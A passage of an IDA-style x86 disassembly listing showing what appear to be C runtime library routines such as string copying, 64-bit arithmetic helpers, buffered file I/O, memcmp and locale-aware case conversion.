		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD3BC
		call	sub_422EA8
		mov	edx, dword_4DD3BC
		pop	ecx
		mov	ecx, dword_4DD3B8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD3BC
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD3B8
		sub	ecx, dword_4DD3BC
		mov	dword_4DD3BC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD3B8, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD3B8, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD3BC, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD3BC
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD3BC
		mov	dword_4DD3B8, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDEC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26B0453h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		nop
		call	near ptr 26A0CACh
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDEC, 0Dh
		mov	dword_4DBDF0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE94
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE94
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D094, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D094, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE94, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D094, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE88
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE94
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE94, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBEA4
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		call	near ptr 26A0CACh
		nop
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDEC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE88
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBEA4
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE94, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
